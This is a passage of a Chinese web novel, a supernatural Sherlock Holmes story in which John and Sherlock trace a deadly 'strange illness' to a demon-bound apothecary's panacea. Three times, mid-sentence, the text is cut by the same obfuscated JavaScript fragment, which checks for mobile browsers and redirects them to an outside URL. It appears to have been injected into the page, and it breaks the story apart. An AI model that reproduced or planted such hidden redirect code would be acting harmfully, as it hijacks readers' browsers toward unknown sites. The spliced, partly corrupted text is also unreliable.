守在集市入口的两只黑色大狗抬起头看着他，不知为何同时夹起尾巴，缩起头不敢与他对视。 约翰在人来人往的叫卖声中四处张望了一下。 然后他发现，集市虽然热闹，但出没于这里的人，绝大部分都带着面具，或用其他某些方式遮掩了自己的外貌特征。 像他这样，以寻常打扮出现的人格外少。 有人对他投以或是怀疑，或是好奇的目光。 约翰尽可能克制住自己不必要的好奇心与探知欲。 因为他看见左手边一位摊主卖出的面具竟然自己会开口说话。 更何况自打他来到墙这边后，就嗅到了熟悉又浓郁的草木燃烧的气息。 他的视线扫过几乎是每个摊位必备的群星草与月光花，猜测自己恐怕是误入了某处超凡交易的集会。 扫视了一眼，他终于在某个偏僻的拐角处看见了那位怀揣挎包的女士背影。 他一路追上，挥开面前突如其来喷薄的雾气，一家古旧的药店跃入他的眼前。 它看上去更像是几个世纪前的产物，那个时候医生或许还得被称之为“药剂师”，懂得一点更深的医术，指不定就会被称为是神圣的法术。 不过现在可是伟大的蒸汽时代，这外墙密布常青藤的砖房看起来就像是被时光遗弃的一段回忆，只沉默地伫立此处。 约翰暂时逼着自己忽视了，几乎爬满外墙的常青藤的每一片叶子都很像人脸这件事。 然后他注意到这家药剂店的名字是——加西亚魔药店。 恰好符合之前在酒馆时，那个主动搭话男人的所言。 从对外的茶色玻璃里看不见里面的情况。 约翰犹豫几秒，还是主动推开了这家店的店门。 “叮铃——” 挂在门边的铃铛响起清脆声音。 在店内暖色灯光下阅读草药书籍的女性抬起头来看着门边。 “欢迎光临，您需要些什么？” 约翰看似随意，实则谨慎地步入其中。 店内一切都显得很是正常。 瓶瓶罐罐里装着深浅不一的各种药剂，它们既没有尖叫，也没有异变成什么奇怪的畸形物种，只是井然有序地被排列在柜台后的货架上。 穿着长裙的女性语气温和地开口询问。 “是您本人有不适，还是家人朋友身体不适？或许我可以从医学角度帮上一些忙。” 约翰问道：“谢谢您，好心的女士。” “您就是加西亚医生吗？” 对方摇摇头，然后用了一个现在逐渐被时代淘汰的称呼。 “我还只能被称之为学徒……医生的话，应该是指我的丈夫韦托·加西亚。” “我是他的妻子罗莎·加西亚。” “……学徒……噢！您是说，自己还是助手是吗？” 约翰说道。 名为罗莎的女性像是对这个称呼有些陌生，不过还是点点头。 “虽然我没有听过这个词……但应当符合您口中的意思。” “不过，您既然特意提到我的丈夫，是遇到什么疑难杂症了吗？” 约翰的脑海中瞬间闪过那些感染了怪癔的患者。 他们无一例外都是面无表情，唯有在对自己的躯体进行自/残的时候，才会露出痴迷陶醉的快乐神情，直到最后他们的身体在短短两周以内就迅速老化而死。 他试探地问道：“是这样的……您知道怪癔这种古怪的疾病吗？” 罗莎点头。 “我的确有所耳闻，不过遗憾的是，我从未亲眼见过任何一例实际病例。” 约翰有些诧异。 “难道没有人带着患者实际来药剂店一趟吗？” 刚才看见的女性似乎也没有走进这里，现在不知去了哪里。 闻言，这位言语真诚的女士表情有些羞愧。 “其实我的身体状况并不是很好，而我的丈夫……我是指加西亚医生，曾经说过这种疫病也有可能传染我，所以并没有让任何一位实际得病的病人入内过。” “等等！女士！” 约翰的耳朵忽然捕捉到了一个关键的信息。 “您说的是‘疫病’，而不是‘癔病’？！” 仅仅相差一个单词，但这完全代表的是两个天壤之别的含义。 “癔病”只是强调精神状态有问题，时常有幻觉幻听的出现。 但“疫病”具有极强的传染性，会引发人群大规模爆发感染同一种疾病。 虽然近期感染怪癔的病人增多，但总体来看，他们之间大多没有进行直接接触，暂未发现具备互相传染的途径方式。 罗莎想了想，“是这样的，先生，我确定我的丈夫是将这种疾病形容成‘疫病’。” 她看起来是个温和有礼的人，也不愿意在这种事情上杜撰撒谎。 “所以近期来到店里买万灵药的患者家属非常多。” 约翰表情凝重地看着她。 “万灵药……你们店里贩卖的万灵药，真的是万灵药吗？” 闻言，罗莎露出笑容。 “先生，我那被很多医师确诊为无药可治的绝症，就是被万灵药治好的。” “您看，我现在还像一个病人吗？” 她口齿清晰，行动自如，脸色红润。 从医学角度来看，的的确确是个无比建康的人。 可约翰总是感觉有哪里不太对劲。 直觉告诉他，眼前这位女士表现出的蛛丝马迹里可能就藏着一些线索，但他暂时还没有发现。 “那……女士，我想买一瓶万灵药，不知道要多少钱？” “五便士。” “只不过这需要我丈夫那样出色的药剂师亲手调制，等待几天的时间后才能拿到。” 约翰有些诧异，“只要五便士？！” 对标一百英镑，以及市面上近期流传的，售价高达上千英镑，各种真假难辨的特效药，这标榜着“不仅是怪癔，更是什么疾病都能治疗”的万灵药就完全不显昂贵起来。 甚至这个价格应当被称之为低廉，哪怕是西区贫穷的人们依旧能够买得起。 罗莎说道：“是的，这就是我们的售价。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964736|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “疾病会折磨很多人，可以的话，我们想平复那些痛苦，重新将健康快乐的人生还给久病未愈的患者。” 暖色灯光下的女士语气温和，如同教堂里垂首安抚苦难信徒的天使雕像令人心神宁静。 她将纸笔推过来。 “那先生，请您留下联络方式，三日后再来这里。” 约翰接过纸笔，刚想在纸上留下地址，柜台后就出现了一道嘶哑的声音。 “抱歉，我们的万灵药不售卖给你。” “请回吧。” 约翰的笔停顿。 他抬起头看过去。 “韦托？”罗莎似乎很是疑惑，她匆匆走到丈夫的身边拉了拉他的衣袖，“为什么？” 店主韦托·加西亚看到妻子时，表情变得柔和了些，但在看向店里目前唯一一位客人的时候，又是面无表情的冷淡模样。 “我们的药不合适你，先生。” 约翰搁下纸笔，语气同样不解。 “先生，为什么我不能该买你制作的万灵药？我可以出一百英镑购买！” “这与出价高低没什么关系。”店主韦托语气冷硬地说道：“我们的药是为了解脱一些无法救治的病痛苦难，也只卖给实在走投无路的人。” “你既没有生病，也不是走投无路者，所以不卖。” 罗莎欲言又止，在她想说些什么之前，她的丈夫韦托先按住了妻子的手背，像是铁了心不打算卖给这位客人任何药剂，当然也包括万灵药。 “但是，先生，你知道外面还有很多人在因为怪癔担惊受怕，如果它是‘疫病’，你的药剂里可能就藏着预防它的有效方法！” 约翰语气急促。 “能治疗和预防这种疾病，那将拯救多少无辜者的生命！” 韦托冷漠地看着他，似乎是觉得这间店外病死多少人，也和他没有任何的关系。 他低声说道：“先生，你真是一个心系他者的好人，但是……这和我没有任何关系。” “我只是一个与妻子一同经营一家药剂店的医师而已。” “我们的药，只卖给需要的人。” 听到这里，约翰再说话的语气简直可以说是愤怒。 “既然加西亚先生你也是身为医者，有能力的前提下，为什么在这个时候选择对其他鲜活无辜的生命袖手旁观！” 韦托看着他，语气似乎仍旧没有波动，只是冷漠地陈述自己的观点。 “先生，你似乎也是一名医生。” “那么身为医生的你，应当知道有些东西……或者说有些疾病，不是人力能够医治的，那像是主的厌恶、魔鬼的玩笑，亦或者其他什么，我们根本无法理解的诅咒，患病的人唯一能做的，可能就是躺在病床上祈祷某天会有不可能的奇迹降临。” “难道你是想说，你制作的药剂都是安慰剂吗！” 一些实在无药可医的重病人依旧想求生时，部分医生也会给他们发放几乎没有任何医疗效果作用的糖丸或淀粉丸，再假意告诉他们，这是可以治疗疾病的药物，以通过心理暗示的作用，让病人的精神得到安慰。 韦托说道：“我售出的万灵药绝对货真价实，先生。” “但刚才说的那些是我的底线，我是不会打破的。” “请回吧，先生。” 39.39 “所以，最终你还是未能从那间药剂店里买到万灵药。” 坐在长沙发上的歇洛克做出最后总结。 约翰顶着两个浓厚的黑眼圈点头。 他又续上一杯新的加浓咖啡。 “但你从西边矿区带回来的样本真是太及时了，回头我将带到皇家医学院去。” 他叹了口气。 “如果没有你的帮助，我可能需要再找那位加西亚先生吵上一架。” “不过是恰好有渠道、有机会得到了这瓶万灵药而已。” “给你这位专业的医生，相信能够发挥更大的作用。” 歇洛克最近似乎也在关注怪癔这件事。 就在他满肚怒火回到公寓之后，好友带来的少量万灵药药剂，真是解决了他的燃眉之急。 虽然按照歇洛克的说法，这些药剂也是超凡能力的产物，不一定能直接复刻，但他感觉应该能从中找到一些关键，将其转化为能够量产的普通药品，再大规模推广。 这样，无论是否具有传染性，人类都不会再对这种疾病束手无策。 歇洛克点燃自己的烟斗。 他认真听完约翰的讲述后，说道： “我知道你描述的地方是哪里了。” “该不会是什么巫师集聚的小巷，就像随时有人能掏出飞天扫帚就离开的那种地方。” 约翰喝着咖啡，开玩笑地说道。 “噢——那的确是有点像。” “不过这可不像童话故事里那么美好。” 歇洛克说道： “那地方是黑街，是全伦敦交易超凡物品最多的地带。” “它的出入口四通八达，遍布伦敦绝大部分地区，每日每夜都有无数使者恶魔带来具有不同能力效果的超凡物品，当然，不出意外，也有大大小小的冲突在那里发生。” “白骑士团第二小组就负责维护那里的治安。” 约翰拿着咖啡杯的手忽然顿住了。 “女王陛下也有参与其中？！” 要知道白骑士团直隶于女王陛下的管辖，一定程度上，他们的所作所为就代表女王的意志所向。 “之前我们在金玫瑰庄园里遇到的弗雷德里克·赫尔斯同样是白骑士团成员，不过他们是第七组。”歇洛克说道。 约翰转念一想，明白了他的言下之意。 女王陛下的管辖其实远远不止明面上的伦敦。 而这个世界上只要存在使者、恶魔，以及常人无法想象的超凡物品，那就会有交易流通的过程。 与其将这样危险的过程放任在伦敦各个不同的角落之中，那不如集中起来更方便监管控制。 “说实话，我以前从未想过神秘距离我们如此接近！” 约翰放下咖啡杯。 “就像以前从未想过苏格兰场里也有超凡能力者一样。” “有的时候，‘神秘与否’的标准可能就在于‘人是否愿意睁眼’而已。” 侦探说道： “说回怪癔。” “我近期多去了几趟西区贫民窟附近。” “如你之前所说，得病的人之间大多没有直接接触，能够称得上是线索的是，越是靠西侧居住生活的贫民，感染这种疾病的人数越多。” “区域性发病？！” 约翰的专业素养迅速让他做出联想。 “该不会是水源污染，或者工厂排出的某些有毒气体导致的？” 歇洛克用烟斗点了点餐厅里的实验容器。 “所以我采集了一些河水与空气样本回来，实验的结果显示，它们的质量还是一如既往的差，但对比往年数据，并没有显著的下降。” “如果病原是饮用水或是空气，按理说应当能从实验数据上观察到。” “那……”约翰感觉自己嗓子发干，“果然还是因为超凡力量导致的？” “这是我们的一个调查方向。” 侦探严谨地说道： “更保险的方法是，我们双管齐下。” “如果是传染类的疾病，要么切断传染途径，要么解决传染源头。” “这不就是我们要做的事情吗？” “你说得有道理！”约翰重新振奋精神，“歇洛克！我没想到你也会主动调查这件事，感谢你的敏锐观察和严谨推理！我感觉现在我自己需要做什么已经明朗很多，不再是一头雾水了！” 歇洛克说道： “不过是照常更新记忆宫殿时，发现的一些线索。” “有时即便没有委托人，但解开谜团的过程也是有趣的。” 约翰说道：“不过要是初次见面时的你，我可想象不到你会主动做出这些事！” 侦探挑了挑眉。 医生将剩余所有的浓咖啡一饮而尽，然后急匆匆地拎起自己的提包。 “今晚我估计也会在诊所加班！如果有什么急事，就给我发电报！” 约翰脚步飞快，但很明显带上激动和活力地冲向诊所。 新到手的万灵药，说不定能给那种怪癔的治疗过程，带来有效的进展，他已经一刻也等不及了！ 手里举着餐盘的哈德森太太差点在楼梯上与他撞起来。 送别了约翰后，老妇人走上楼来。 “又是三杯咖啡，看起来医生这次也遇上棘手的事情了。” “不过他像是又找到了解决的方法。” “他们总是这么擅长解决问题。” 哈德森太太笑道。 “人类的确善于发现问题，再解决问题。” “在这种死亡方式之前，不乏其他被前人称之为‘诅咒’的神秘力量……但当第一个自称为医生的人类，公开表示这叫作‘疾病，我们拥有战胜疾病的力量和手段’后，无序的神秘就被秩序的人力打败。” 歇洛克又给自己的烟斗加了一些烟丝。 医生不在的时候，他也会悄悄放纵一下自己的一些小爱好。 “难以置信的奇迹，就出现了。” 他呼出烟雾。 哈德森太太微笑，“当然……毕竟这就是人类。” “他们是唯一能创造奇迹的存在。” *** 今天诊所的事务也很繁杂，临近夜晚十一点才紧急救治完一位高烧不退的孩子后，约翰才算是松了口气。 挂着两个浓厚黑眼圈的医生摸到自己冷透的咖啡杯。 里面已经是空荡荡的一片，最后一滴浓咖啡也被他在一个半小时前喝完，而新的一壶还没有煮。 “华生医生，你要不要去休息一下？病人有情况的话，我会去办公室敲门喊醒你的。” 诊所里年轻的护士说道。 “好……谢谢你的提醒。” 护士离开，约翰揉了揉困倦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969353|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双眼，感觉自己的眼皮上仿佛挂着千斤重的秤砣。 他摸了摸自己又喝空的咖啡杯，觉得意识都快模糊，但责任感还像火一样地灼伤着他。 虽然他刚才说着那样的话，不过他还不准备先休息。 或许再研究一会儿万灵药的制作材料和方法过程，就能发现更多有用的线索，更快地治疗这种没有见过的怪癔。 刚才皇家医学院刚发了电报给他，说是他提供的万灵药样本非常有效，现在正加急从中提炼能够治疗怪癔的药物。 约翰估计他们团队里必定有精通神秘的使者，不过对方既然不打算明说，那他也不准备挑明他们的研究手段可能完全不符合常理和常规流程。 “华生医生，身为医生的你应该很清楚，休息是人类生活中必备的环节之一。” “你已经连续工作二十五个小时，应当休息了。” 听到这个熟悉的声音，约翰感觉自己的睡意都忽然消失得无影无踪。 他猛地抬起头看向自己办公室门边的位置。 “歇洛克？！” 他惊奇地喊道。 “你怎么来这里了？！” 歇洛克以往从未拜访过诊所，没想到今日深夜来访。 裹着夜晚露水，拨开雾气来此的侦探拿开自己的礼帽，解开自己的披风。 “我找到一些线索，但需要你的帮忙，才能验证推理猜测。” 约翰嗅到了些冰冷的群星草与月光花燃烧后的气息。 他问道，“我该如何帮你？” 歇洛克开口，但声音还未脱口之前，走廊上就传来慌张匆忙的脚步声与呼喊声。 “医生！华生医生！” “301病房的史密斯先生……！” 刚刚离开的年轻护士满脸无措地急步跑回来，此刻她顾不上淑女礼仪地打开约翰办公室的门，喊道： “感染怪癔的史密斯先生情况急剧恶化了！现在生命情况堪忧！” 几秒后她才像是反应过来，自己是没有礼貌地突兀闯进了别人的会谈中。 她呆在原地，有些踌躇自己是否做错的时候，医生的动作肯定了她刚才的选择。 “我知道了！” “立刻带上急救药物去301病房！” 约翰立刻穿上自己的白大褂，只来得及和好友说一句“等等我再回来”，就快步跑向301病房。 年轻的护士刚看到访客的面容。 她一惊，“您难道就是华生医生的那位侦探好友……福尔摩斯先生吗？！” 她的语气有些崇拜和敬仰。 “我看过医生发表在报纸上的文章！您的推理才能和观察能力都太厉害了！” “过奖。”歇洛克说道。 他顿了顿，“我并未想过，因为那些文章，我反而成了大众熟知的一位人物。” “像您这样出色的人才，理应被大家知晓才对。” “甚至我个人是非常感谢您和医生一起破案，让无数穷凶恶极之徒落网入狱。” 在短暂的对话后，她对他微微鞠躬，就连忙拎上急救箱，追上走在前方的医生。 歇洛克看向前方那两人的背影。 哪怕祂最初并没有想如此定义，但在不知不觉里，“歇洛克·福尔摩斯”这个名字似乎已经被更多的人所知晓。 不过……他似乎并不反感。 40.40 经过大半个晚上的抢救，301病房的史密斯先生总算是保证了性命，但情况依旧不容乐观。 他的生命犹如风中残烛，随时都可能熄灭。 迎着从雾气中破晓的朦胧阳光，约翰和那位年轻的护士在和其他同事交接后，终于能喘口气稍作休息。 这时约翰想起了好友，回头看去，发现歇洛克还在诊所办公室的时候，他不由拍了一下自己的额头，语气懊恼地说道： “抱歉歇洛克，让你等了一个晚上，应该让你先回去休息的。” 同样一夜未眠，不过依旧看不出疲惫的侦探对他摆摆手。 “我来，原本是为了看看有没有因怪癔而亡的尸体。” 他顿了顿。 “虽然没有达成原本的目的，但见证了一次奇迹的诞生，也算不虚此行。” 他起身，准备去其他诊所看看的时候，医生跟上他的脚步。 “我以为你现在该去休息了。”歇洛克看向他。 “医生是我的职责，侦探助手也是我的身份。” 约翰双眼下方挂着青黑，不过精神尚可。 他说道： “更何况，如果这怪癔与超凡因素有关，那么我的加入，说不定能更好更快地解决事件，不是吗？” 侦探说道：“那么……是该出发了，助手！” *** 雷斯垂德面色不佳地跟随前方两人。 即便他已经提前服用了稳定精神状态的药剂，此刻在嗅到一阵接一阵的腐肉恶臭的时候，还是觉得这在挑战人类生理角度的接受底线。 “雷斯垂德警官，你要不要出去暂避休息？”约翰有些担忧地看向他。 雷斯垂德看了看面不改色的侦探，再看走在最前方领头带路，身着白大褂，胸口别有皇家医学院标志徽章的医生，他那里写着“亚伯兰·戴尔”。 对方面不改色，拉了一下自己的白手套，从斯文的金丝眼镜后面投出视线里明晃晃写着“不行就赶紧退出”。 听闻他们第一组的人常年与各种因超凡原因死亡的尸体，心理素质能力极强，还有过一边解剖尸体，一边喝咖啡的恐怖传说。 和他们队长打交道，是连常年行走深渊之下的第七组坚韧骑士们都不太愿意接受的任务。 雷斯垂德又看了眼似乎完全不受那股恶臭影响的侦探与医生，于是想强撑着把戴着白手套，捂住口鼻的手放下。 结果刚想开口说话的时候，那股弥漫在四周的恶臭就像一记重拳狠狠砸在他的面门上，让他当即头晕目眩，紧接着胃里酸水翻涌，直接涌上喉咙，最后哇的一声扶着走廊的墙壁大吐特吐。 领路者的脸黑得像是被烧糊的锅底。 “雷斯垂德！” “我要把你塞到解剖台上！” 他的嗓音因为愤怒，此刻尖锐得可怕。 “抱、抱歉……呕！” 这回应的结果，还不如不回应。 连忙赶来的其他人手忙脚乱地搀扶起手脚抽搐的警探，将他带到一旁的医务室去，然后连忙开始清理走廊上的污渍。 领路者面色铁青。 他一丝不苟地抚平白大褂上的褶皱，看了眼面色如常的歇洛克和约翰。 雷斯垂德会吐，是他意料之中的事情。 但这两位客人还像丝毫不受影响一样前进着。 也许正如他们观察所示，虽然两人看上去都是普通人，但都只是伪装成普通人的超凡生物…… 白骑士团第一组平时隐藏在皇家医学院之中，负责对超凡生物和物品的研究。 因为时常要接触大量信息被污浊的污染源，组中精神不稳导致的崩溃者不在少数。 对于他们而言，第一组大半的成员其实都算是半个能够自我进行开导纾解的心理医师。 “福尔摩斯先生，华生医生，请随我来。” 领路者带着两位由雷斯垂德介绍而来的访客继续往纯白走廊的深处前进。 空气在这里像是变得黏稠起来。 明明只是行进在走廊上，可四肢摆动起来的时候莫名感受到了轻微的阻力。 眼前的光影也开始变得浑浊复杂起来，仿佛在不知不觉间被人带上了有色眼镜，所以视线范围内的景色就显得熟悉又诡异起来。 走廊两端的墙壁上开始出现牢固的白色铁门，铁门上留有一道狭窄的长方形玻璃窗能够看到里面。 不过大部分玻璃窗内都是浓郁的黑色，看不清任何景象。 一眼看上去，这里像是某间寂寥的医院走廊，又像安静的监狱长廊。 撇头看去，门牌上的标志也以冰冷的字母和数字标注，但绝不描述这些房间里到底有什么“住客”。 跟随着领路者亚伯兰的脚步，他们走进标注着“DR-113”的房间内。 这个房间很是惨白，看上去完美符合大众印象里阴冷解剖室的感觉。 房间中央的解剖台上静置一具尚未解剖的尸体。 他看起来已经年过八十，皮囊松垮，头发稀疏，连口腔内的牙齿也松动脱落大半。 穿上防护服的亚伯兰，将另外两件防护服递给他们。 防护面罩后的声音有些模糊不清地传来。 “这是我们解剖的第二具因怪癔丧命的尸体。” 穿好防护服的约翰看向那具遗体，“他看上去已经有八十多岁的年龄，皮肤干燥紧缩，留有疤痕，但皮肤表面还有淤血……死因难道还是全身内脏器官的衰竭？” 亚伯兰点头，语气里是诚恳的赞扬。 “华生医生，您虽然不是法医，但相关的知识储备量还是令我震惊，您有考虑过来我们第一组就职吗？薪酬是不会让您失望的。” 约翰摆摆手，“为死者还原死亡瞬间，这并非我的专业强项，这些知识我也只是临时钻研掌握……我还是更擅长抢救垂死的生者。” 亚伯兰点头，“与死亡抗争，您是一位尽职的伟大医者。” “不过这个人的实际年龄应当没有八十岁。” 换好防护服的歇洛克已经绕着解剖台走了两圈。 “他的手指没有老茧，虽然皮肤干枯，但看得出来生前保养得当，是一位家境富裕的贵族子弟。” “穿着的衣物是居家服饰，虽然宽大，但这个款式并非年长者的钟爱。” “当然，或许可以说这不排除个人喜好。” “但他脸上的淤青伤痕是球类运动砸成来的，有人对着八十多岁的贵族老人挥舞球拍，将球砸到他脸的可能性可太小了。” “是的，福尔摩斯先生。” 亚伯兰说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975453|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道： “这位死者今年四十二岁，在一周前他还在非常有活力地与朋友打网球。” “然后几天后，在他家的工厂宣告破产后，雪上加霜的，就感染了怪癔。” “他开始反复进行自残行为，并表示说自己即将前往天堂，接着一周的时间，他身体内部各处器官都开始以不可思议的速度衰竭，使得这具按理说应当身强力壮的躯体老化成朽木一般，最后死去。” 亚伯兰推来装满解剖工具的推车，银盘上布满各种锋利的手术刀具。 虽然他不觉得这两人需要额外叮嘱什么，是否要做好心理准备之类的关怀话语，但碍于雷斯垂德这位同僚反复叮嘱多次，要用对待普通人的态度面对他们，亚伯兰还是提醒。 “接下来就是解剖。” 说话间，歇洛克已经是手起刀落。 霎时间一股更浓郁百倍的恶臭扑面而来。 哪怕是穿着防护服和面具，精神算是在日常的解剖与实验中经历过千锤百炼的亚伯兰都忍不住反胃干呕了一声。 残余粘连在白骨上的尸块看起来格外冰冷油腻，按理说应当坚固的白骨在被手术刀轻微触碰的时候，就断裂成两半。 从断开的平面可见，那里竟然已经被蛀空，有什么细小的生物快速拖住某样惨白的东西往中空的骨头深处爬去。 刺耳的哀嚎声响彻整个解剖室，好似一声凭空巨响炸得人头脑发晕。 约翰面色难看。 “歇洛克！我刚才看见白色的……虫茧？！” 那样东西很小，但数量很多，像是团成一个又一个球体的白色棉絮。 “你没看错，而且拖走它们的是非常小的蜘蛛。” 歇洛克直接拿起一根骨头，将它翻转过来。 内里果然是像管道一样的中空，但那些拖着白色虫茧离开的细小苍白蜘蛛们已经消失不见，仿佛他们刚才的一瞥只是片刻的幻觉。 刺耳的惨叫像是水面上震荡的涟漪渐渐停止。 约翰低声问道：“这……到底是什么？” “灵魂。” “人类灵魂的残渣。” 歇洛克放下那根脆弱的腿骨。 “我们见到的景象不是无意义的，蜘蛛隐喻着某只魔鬼，蝴蝶也隐喻着另一只魔鬼。” “蝴蝶？”约翰一愣。 一些物品是超凡力量和神秘存在的象征，犹如最普遍的月光花与群星草。 也如嫉妒的魔鬼喜欢以蛇的姿态出现。 但他刚才没有见到蝴蝶的象征。 “因为对方把自己隐藏得够好，比蜘蛛更不易被发觉。” 冷静的侦探用手术刀割裂挑开的死者皮肤。 在松垮的皮囊内侧，印满了犹如烫伤般的蝴蝶纹路印记。 密密麻麻的翅膀好似斜着看向四周的双眼。 它们遍布死者全身各处的皮肤，好似在他还活着的时候，就时刻有无数双眼睛在观察窥视着皮囊中可口的灵魂。 “也就是说，感染了怪癔患者的灵魂应当是被两个魔鬼瓜分了。” 歇洛克说道。 “我们要再去贩卖万灵药的药剂店一趟，那种万灵药既然号称能够治愈怪癔，那么那里应该也隐藏着有关源头的线索，否则患者恐怕还会源源不断的增加。” 41.41 蜡烛发出轻微的爆裂声。 微光隐约照亮地下室砖块上横流的鲜血。 凄惨倒在地上，伸手向上似乎想要抓住什么的尸体就这样无法瞑目地看着头顶上方。 韦托·加西亚冷漠地看着这具尸体眼里对自由和阳光凝固的残余渴望。 他选择无情地挥挥手。 于是烛光照不到的地面处传来令人感觉毛骨悚然的咀嚼声，仿佛砖石在此刻张开血盆大口，贪婪愉悦地开始品尝美味的食物。 韦托走到地下室的工作桌前。 即便现在已经是煤油灯撑起黑夜中的光明天地，但他还和这家店，也和妻子一起沉浸在老式的烛光火把下。 烛火没有动静。 但一份用信封装着的某样东西，已经自书桌外的黑暗里，推到韦托的面前。 制作着万灵药的药剂师猛地抬头看去。 送信者身姿挺拔，说话的声音听起来不怒自威，叫人不敢和他直接对上视线。 “这是你需要的。” “教授已将东西让我带到，希望你不要让他失望。” 韦托的手指慢慢蜷缩起来，像是人类在面对某些比自己强大太多的生物时，本能会产生的防御暗示。 他让自己回话的声音，尽可能平静和镇定下来。 “上校，教授有规定任务完成的期限吗？” 站在黑暗里的高大男人发出嘲讽的嗤笑。 “不要试图在教授面前戏耍你自己的小把戏，你这种办法只够在愚钝的世人面前显摆显摆。” “如果想救活你的妻子，该怎么做，你自己清楚。” 男人居高临下看着他。 “韦托·加西亚，你已经知道，一旦自己的骗术失效，将会是什么样的下场。” “装成一名出色的医生算是重操旧业，这次可千万别再犯下那种低级错误，导致一切走向不可挽回的结局。” 烛火黯淡了一瞬间。 一切重新恢复了平静，连背后一直响起的若有似无的咀嚼声也不复存在。 药剂店下方这间隐秘昏暗的地下室，看起来毫无异样地沉睡着。 直到烛光某个瞬间轻微晃动了一下。 声音从韦托的背后传来。 “韦托——你在看什么？” 这声音娇媚，但分不清男女性别，好似一朵含苞欲放的鲜花低垂在耳边。 只要轻轻吹出一口气，就能将大半人的灵魂都从他们的身体里勾走。 白皙的手臂绕过他的脖子，好似情人靠在一起缠绵。 “你总是忙着制作药剂，可别忘了我们之间的约定。” 指尖染着豆蔻的红，看起来粉嫩娇艳。 来者用亲昵的口吻如此对他说道，仿佛他们是十分亲密的爱人。 “容器……什么时候才能把适合我的容器献给我，亲爱的？” 香腻的气息铺天盖地地缠绕过来，蝴蝶振翅欲飞，像是要将他全身的皮肤一起掀开。 眼前花绿的鳞粉将景色扭曲成恐怖的炼狱景象。 韦托眼里满是厌恶和作呕，但他抚上那条手臂时，语气是一反常态的温柔。 “很快……我保证，阿斯莫德，请不要生气。” 对方平复了气息。 来者咯咯笑着，将斑驳的皮肤都笑得像墙纸一样脱落。 “我怎么会生气呢亲爱的。” “我最喜欢你了……你带给我很多灵魂，被快乐腌制过的味道格外美味……哎呀……当然了享受过希望，又跌落深渊的灵魂也别有一番风味，可惜自打罗莎之后，我再也未能尝到那样纯净的灵魂。” 韦托咬紧了牙关，他像是咬住自己的愤怒，不让自己陷入盲目的仇恨之中。 来者笑着，像是在欣赏他无法反抗的丑态。 “韦托，快一点，再快一点。” “我需要一个合适的容器……不管是男女，还是其他……不要让我失望。” 手臂收回，犹如鞭打的红痕却留在了他的脖子上，仿佛扼住了他的呼吸。 *** “就是这里？” 雷斯垂德问。 “就是这里。” 约翰答。 歇洛克绕着这家药剂店转了几圈，最后重新回到正门口与他们汇合。 “一家装修古老的店面，但实际上房子本身历史不超过三十年，后院还有用于载货的马车，说明店主来到伦敦的时间不长。” 这次他们是三人共同再来黑街一趟。 雷斯垂德只赶上了解剖结果汇报的时候，但看他的脸色，似乎也该庆幸只需要听到结果就够了。 现在再度来到加西亚魔药店，他们遇上了急匆匆抱着瓶子从门内外出的人。 “万灵药。”歇洛克看了眼瓶子里的药剂。 雷斯垂德试图喊住对方，“等等！” 衣衫褴褛，看起来生活困苦的人警惕地看了他们一眼，抱着药瓶离开的速度更快，像是害怕他们忽然动手抢走他唯一的希望一样。 “……华生先生？” 门边传来一位女性温柔的招呼声。 “没想到还会再见到你……这几位是您的朋友吗？不如一同进来喝杯茶？” 歇洛克看着她一尘不染的衣裙，随后缓缓说道： “夫人，今日我们前来拜访，是想与您的丈夫加西亚先生谈谈。” 罗莎·加西亚站在门内，神情犹豫。 “我丈夫……他最近似乎很忙，也不在店中，连我也时常看不到他的身影。” “真是抱歉。” “夫人，我有一个问题。” “虽然万灵药的售价不贵，但前来购买的人可谓络绎不绝。” 歇洛克看着她。 “不过您生活的简朴还是令我吃惊，店铺内为何不再多雇几位仆人管理？” 女人恍惚片刻。 “因为我们，钱……” 她想说他们其实并不是很有钱。 即便丈夫没有明说，但她曾经敏锐地察觉到丈夫似乎不仅仅在做药剂师这一份工作。 另一项工作像是永无止境地吞吃着大量的金钱，但迟迟未见什么成效。 她或许也有劝过韦托，不要再继续。 她愤怒过、流泪过、甚至想要决裂过，但都未能阻止他的决心。 直到现在，多年过去她好像已经也不再主动提起这件事。 看着对方不言不语沉默的样子，约翰说道：“夫人？” 罗莎猛地惊醒。 “……” “不，没什么……先生们，你们要进来喝杯茶吗？” 她像是将刚才的话题自顾自地忽视，让思绪重新回到今日刚见面的时候。 这下雷斯垂德也皱起眉。 歇洛克意味深长地说道： “不了夫人，既然加西亚先生不在，我们登门拜访也没有什么意义。” “冒昧一问，加西亚先生是去参加拍卖会了吗？” 罗莎惊讶地说道：“的确是这样……但您是怎么知道的？” 